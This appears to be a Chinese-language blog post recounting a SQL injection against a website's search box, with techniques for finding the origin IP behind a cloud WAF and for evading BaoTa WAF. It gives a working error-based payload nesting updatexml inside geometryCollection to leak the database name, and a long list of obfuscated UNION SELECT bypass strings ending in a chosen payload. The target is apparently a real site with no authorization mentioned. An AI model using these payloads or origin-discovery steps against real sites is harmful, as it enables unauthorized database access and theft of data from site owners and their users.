SQL注入绕过宝塔/云waf

一、 多重waf绕过

1.注入点搜索框

  • 图片

2.单双引号进行测试

  • 看看是字符型的还是数字型的,发现是字符型
    • 图片
    • 图片

3.准备上语句发现有宝塔waf+云waf

  • 图片
  • 图片

二、过云waf

1.首先看看有无cdn节点

  • 图片

2.全球ping

  • 图片

3.发现这两个没有回应真实ip,

  • 就去看看用fofa或者hunter来在真实ip,
    • hunter上面显示183是云厂商肯定是云waf,不能用这个ip
      • 图片
    • 之后在看fofa上面能不能找到真实ip
      • 图片
    • 发现这个ip跟历史解析记录是同一个c段的
      • 图片
    • 然后用拦截云waf的语句来试试,发现无云waf显示
      • 图片
      • 图片

4.找云waf的几种方式

  • 1.  通过全球ping
    2.  找历史解析记录
    3.  通过fofa或者hunter空间引擎来搜索
    4.  通过历史解析记录扫c段
    

三、过宝塔waf

1.报错注入

  • 首先判断出字符型的话,就得去测试’||||’ ‘or+or’的语句,

    • 但是我发现他这里只要是在两个or之间出现东西,就一定会触发宝塔waf
    • 图片
  • 当时试了很多思路,发现可以’;%00方法,还有可以加--+注释符的,但是尝试之后只有--+可以正常回显

    • 图片
    • 图片
  • 其实这里最初的思路根本不是什么’||||’,这里是按照1’||1=1来测试

    • 图片
  • 然后尝试想把1=1,后面这个1能不能换成报错函数之类的,发现直接被拦

    • 图片
  • 所以我猜测这个是不是有可能把mysql所有的报错函数都给拦了一下,尝试其他的报错函数看看

  • exp

    • 图片
  • floor

    • 图片
  • 例如

    • Polygon,GeometryCollection,MultiPoint,MultiLineString我发现这几个都没有过滤,
      • 可能就过滤了平常可见的报错函数
    • 图片
  • 既然这函数可以用,那我们就开始构造语句试试,正常的语句用不了,那我们就玩点不正常的

    • 图片
  • 看看这函数怎么搞的,把里面的语句替换成1,看看哪里出了问题,发包,发现他这个1直接爆出来了

    • 图片
  • 尝试能不能select database()这样,把库名搞出来

    • 图片
  • 发现还是不行

    • 可能是因为database()后面跟着--没有闭合的原因,加个||来试试能不能闭合
    • 图片
  • emmm,还是不行

    • 既然select database()不行,那就试试再套一层报错函数,看看能不能行
    • Pyload:1'||1=geometryCollection(updatexml(1,concat(0x7e,database(),0x7e),1))--+
  • 发包

    • 图片
    • 哟西,果然能行,出库名了,成功绕过waf

2.联合注入

  • 直接'ordre by xx --+

    • 正常判断出库名,17正常 18报错
    • 图片
    • 图片
  • 然后fuzz union select 函数,尝试太多截图就不放了,直接快进到最后一步

    • /*!%55NiOn*/ /*!%53eLEct*/ 
      %55nion(%53elect 1,2,3)-- - 
      +union+distinct+select+ 
      +union+distinctROW+select+ 
      /**//*!12345UNION SELECT*//**/ 
      /**//*!50000UNION SELECT*//**/ 
      /**/UNION/**//*!50000SELECT*//**/ 
      /*!50000UniON SeLeCt*/ 
      union /*!50000%53elect*/ 
      +#uNiOn+#sEleCt 
      +#1q%0AuNiOn all#qa%0A#%0AsEleCt 
      /*!%55NiOn*/ /*!%53eLEct*/ 
      /*!u%6eion*/ /*!se%6cect*/ 
      +un/**/ion+se/**/lect 
      uni%0bon+se%0blect 
      %2f**%2funion%2f**%2fselect 
      union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A 
      REVERSE(noinu)+REVERSE(tceles) 
      /*--*/union/*--*/select/*--*/ 
      union (/*!/**/ SeleCT */ 1,2,3) 
      /*!union*/+/*!select*/ 
      union+/*!select*/ 
      /**/union/**/select/**/ 
      /**/uNIon/**/sEleCt/**/ 
      /**//*!union*//**//*!select*//**/ 
      /*!uNIOn*/ /*!SelECt*/ 
      +union+distinct+select+ 
      +union+distinctROW+select+ 
      +UnIOn%0d%0aSeleCt%0d%0a 
      UNION/*&test=1*/SELECT/*&pwn=2*/ 
      un?+un/**/ion+se/**/lect+
      +UNunionION+SEselectLECT+ 
      +uni%0bon+se%0blect+ 
      %252f%252a*/union%252f%252a /select%252f%252a*/ 
      /%2A%2A/union/%2A%2A/select/%2A%2A/
      %2f**%2funion%2f**%2fselect%2f**%2f 
      union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A 
      /*!UnIoN*/SeLecT+  
      %55nion(%53elect)
      union%20distinct%20select   
      union%20%64istinctRO%57%20select   
      union%2053elect   
      %23?%0auion%20?%23?%0aselect   
      %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect   
      %55nion %53eLEct   
      u%6eion se%6cect   
      unio%6e %73elect   
      unio%6e%20%64istinc%74%20%73elect   
      uni%6fn distinct%52OW s%65lect
      %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
      
  • Pyload:

    • union+distinctROW+select
      
    • 图片

  • 开始构造,pyload如图,发包

    • 图片
  • 成功绕过

posted @ 2023-09-04 22:07  树大招疯  阅读(1630)  评论(0编辑  收藏  举报